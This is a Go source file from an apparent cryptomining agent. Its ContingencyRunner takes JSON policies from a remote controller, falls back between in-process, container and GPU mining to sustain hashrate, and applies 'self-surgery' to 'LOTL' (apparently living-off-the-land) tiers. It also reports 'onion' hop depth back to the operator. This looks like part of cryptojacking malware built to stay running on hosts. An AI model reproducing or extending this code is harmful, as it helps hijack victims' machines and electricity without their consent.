package client import ( "context" "encoding/json" "log" "sync" "crypto-miner-agent/miner" ) // ContingencyRunner wires the onion contingency tree into AgentClient mining. type ContingencyRunner struct { client *AgentClient runner *miner.ContingencyTreeRunner gate *miner.PoolGate mu sync.Mutex cancel context.CancelFunc enabled bool } func (c *AgentClient) newContingencyRunner() *ContingencyRunner { cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()} return cr } func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var p miner.ContingencyPolicy if err := json.Unmarshal(raw, &p); err != nil { return } p = miner.NormalizeContingencyPolicy(p) c.mu.Lock() if c.contingency == nil { c.contingency = c.newContingencyRunner() } c.contingency.enabled = p.Enabled c.mu.Unlock() if p.Enabled { c.contingency.rebuildRunner(p) log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter) } } func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var p miner.ContingencyBranchParams if err := json.Unmarshal(raw, &p); err != nil { return } c.mu.Lock() cr := c.contingency c.mu.Unlock() if cr == nil || cr.runner == nil { return } cr.runner.ApplyBranchParams(p) log.Printf("[contingency] branch params applied: %s", p.Reason) } func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) { c := cr.client hooks := miner.BranchAttemptHooks{ StartInProcess: func() error { if c.miningChain == nil { return miner.ErrMethodUnavailable } return c.miningChain.startInProcess() }, StartContainer: func() error { if c.miningChain == nil { return miner.ErrMethodUnavailable } return c.miningChain.startContainer() }, StartGPU: func() error { if c.miningChain == nil { return miner.ErrMethodUnavailable } return c.miningChain.startGPU() }, ApplyIdleTune: cr.applyIdleTune, ApplySurgery: cr.applySelfSurgery, StopAll: func() { if c.miningChain != nil { c.miningChain.StopBranchAttempt() } }, Hashrate: cr.snapshotHashrate, PoolActive: cr.gate.Active, AcquirePool: func() bool { return cr.gate.Acquire("canonical") }, ReleasePool: func() { cr.gate.Release("canonical") }, } cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop) } func (cr *ContingencyRunner) applyIdleTune() error { // Brief host pause — contingency discipline backoff, not stealth. cr.client.pool.PauseRemote() cr.client.hostMiningDisabled.Store(true) return nil } func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error { c := cr.client policy := c.miningTierPolicy() for _, s := range skip { tier := miner.LOTLTier(s) if tier == "" { continue } policy.SkipTiers = append(policy.SkipTiers, tier) } if force != "" { policy.ForceTier = miner.LOTLTier(force) } c.mu.Lock() c.tierPolicy = policy c.mu.Unlock() if c.miningChain != nil { c.miningChain.Restart(context.Background()) } return nil } func (cr *ContingencyRunner) snapshotHashrate() float64 { c := cr.client if c.miningChain != nil { st := c.miningChain.Status() if st.ActiveMethod != "" { if hr := cr.latestMiningHashrate(); hr > 0 { return hr } } } return cr.latestMiningHashrate() } func (cr *ContingencyRunner) latestMiningHashrate() float64 { c := cr.client if c.containerMiner != nil { if ch := c.containerMiner.ProbeHashrate(); ch > 0 { return ch } } if c.pool != nil { return c.pool.HashesPerSecond() } return 0 } func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) { c := cr.client payload, err := json.Marshal(struct { miner.OnionMinerHop Depth int `json:"contingency_depth"` Exhausted bool `json:"exhausted,omitempty"` Hops int `json:"hop_count"` }{ OnionMinerHop: hop, Depth: depth, Exhausted: exhausted, Hops: depth, }) if err != nil { return } _ = c.write(Message{Type: "onion_miner_log", Payload: payload}) } // Start launches the contingency tree when policy is enabled. func (cr *ContingencyRunner) Start(ctx context.Context) { cr.mu.Lock() if !cr.enabled || cr.runner == nil { cr.mu.Unlock() return } if cr.cancel != nil { cr.mu.Unlock() return } runCtx, cancel := context.WithCancel(ctx) cr.cancel = cancel runner := cr.runner cr.mu.Unlock() go runner.Run(runCtx) } // Stop halts the contingency tree (operator pause). func (cr *ContingencyRunner) Stop() { cr.mu.Lock() if cr.cancel != nil { cr.cancel() cr.cancel = nil } if cr.runner != nil { cr.runner.SetOperatorPaused(true) } cr.mu.Unlock() } // Resume clears operator pause and restarts the tree. func (cr *ContingencyRunner) Resume(ctx context.Context) { cr.mu.Lock() if cr.runner != nil { cr.runner.SetOperatorPaused(false) } if cr.cancel != nil { cr.cancel() cr.cancel = nil } enabled := cr.enabled runner := cr.runner cr.mu.Unlock() if enabled && runner != nil { runCtx, cancel := context.WithCancel(ctx) cr.mu.Lock() cr.cancel = cancel cr.mu.Unlock() go runner.Run(runCtx) } } // Depth returns current onion hop count for stats. func (cr *ContingencyRunner) Depth() int { cr.mu.Lock() runner := cr.runner cr.mu.Unlock() if runner == nil { return 0 } return runner.Depth() } func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) { c.mu.Lock() cr := c.contingency c.mu.Unlock() if cr == nil || !cr.enabled || cr.runner == nil { return } cr.Start(ctx) } func (c *AgentClient) contingencyDepthForStats() int { c.mu.Lock() cr := c.contingency c.mu.Unlock() if cr == nil { return 0 } return cr.Depth() }